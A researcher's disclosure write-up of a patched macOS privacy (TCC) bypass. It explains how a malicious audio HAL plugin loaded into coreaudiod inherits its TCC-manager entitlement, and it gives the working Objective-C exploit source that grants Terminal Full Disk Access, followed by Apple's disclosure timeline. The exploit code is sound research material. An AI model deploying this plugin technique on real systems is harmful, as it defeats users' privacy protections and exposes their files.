Introduction

This vulnerability has been disclosed during my & Csaba’s talk “20+ ways to bypass macOS your privacy mechanisms” during Black Hat USA. It was a part of my COVID-19 lockdown research. 😉 In the end this vulnerability led to full TCC bypass as I was able to fully control the TCC database.

How I found this vulnerability

After the XPC research, I had an idea to verify if it will be possible to use the same tricks but on the macOS processes. One of these tricks was to inject into processes and thus inherit their entitlements. As it’s not possible (usually) to use DYLD_INSERT_LIBRARIES on Apple’s signed binaries I targeted executables that had the com.apple.security.cs.disable-library-validation entitlement. So, I wrote a simple bash script and after some time I had the first result that was /usr/sbin/coreaudiod.

It had the following entitlements:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.private.airplay.mangrove.client</key>
    <true/>
    <key>com.apple.private.audio.driver-host</key>
    <true/>
    <key>com.apple.private.kernel.audio_latency</key>
    <true/>
    <key>com.apple.private.kernel.work-interval</key>
    <true/>
    <key>com.apple.private.tcc.manager</key>
    <true/>
    <key>com.apple.security.cs.disable-library-validation</key>
    <true/>
    <key>com.apple.tailspin.config-apply</key>
    <true/>
    <key>com.apple.tailspin.dump-output</key>
    <true/>
</dict>
</plist>

The com.apple.private.tcc.manager entitlements interested me the most so I started digging…

Exploitation

At first, I had to identify why the coreaudiod actually disables library validation. Let’s open the Hopper and reverse that daemon. As it probably loads something, not Apple’s signed, the coreaudiod will probably have a hardcoded path. It turned I was right, and I quickly found a function that loads a bundle:

int sub_1000f95dd(int arg0) {
    stack[-8] = rbp;
    stack[-16] = r15;
    stack[-24] = r14;
    stack[-32] = r13;
    stack[-40] = r12;
    stack[-48] = rbx;
    rsp = rsp - 0xe8;
    rax = CFStringCreateWithCString(0x0, "/Library/Audio/Plug-Ins/HAL", 0x600);
    var_E0 = rax;
    rsi = rax;
    rax = CFURLCreateWithFileSystemPath(0x0, rsi, 0x0, 0x1);
    var_D0 = rax;
    if (rax == 0x0) goto loc_1000f9c49;

OK, but what do Apple’s docs say about the "/Library/Audio/Plug-Ins/HAL"?

img

So, I can code my plugin that will be probably loaded into the context of the coreaduidod and inherit the com.apple.private.tcc.manager entitlement? Yeah, that assumption was correct. I coded quickly an empty HAL plugin, copied it to the "/Library/Audio/Plug-Ins/HAL" and killed the audio daemon.

Now, let’s weaponize the plugin. For a Proof of Concept, I wanted to give the Terminal.app the Full Disk Access permission. I could have coded an exploit that would manually open sqlite3 to edit the TCC’s database but it’s much easier to use Apple’s private APIs. In the plugin’s XCode project I linked the private TCC.framework

img

and externed the following function:

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

In the first parameter I had to pass the Full Disk Access permission, then bundle ID of the Terminal app, next was the code requirement and the boolean saying that the permission is granted. In the end, the content of the exploit looked as follows:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
    CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
    
    CFStringRef bundleID = CFSTR("com.apple.Terminal");
    CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
    SecRequirementRef requirement = NULL;
    SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
    CFDataRef requirementData = NULL;
    SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
    
    TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {
    
    add_tcc_entry();
    
    NSLog(@"[+] Exploitation finished...");
    exit(0);

Proof of concept

Timeline

DateAction
5th June 2020Report sent to Apple
9th June 2020Apple validated the report
20th July 2020I asked for status update
24th July 2020Apple responds that they are still investigating
22nd August 2020I asked for status update
4th September 2020Apple responds they need more time to fix the issue as the patch requires vast changes
18th September 2020I asked when Apple estimates the fix will be introduced
18th September 2020Apple responds that the plan is to fix it in a minor Big Sur release in 2020
17th October 2020Apple adjudicates this issue as eligible for the Apple Security Bounty! Wow, bounty before the fix! 🎉
14th December 2020Apple fixes this vulnerability in the macOS Big Sur 11.1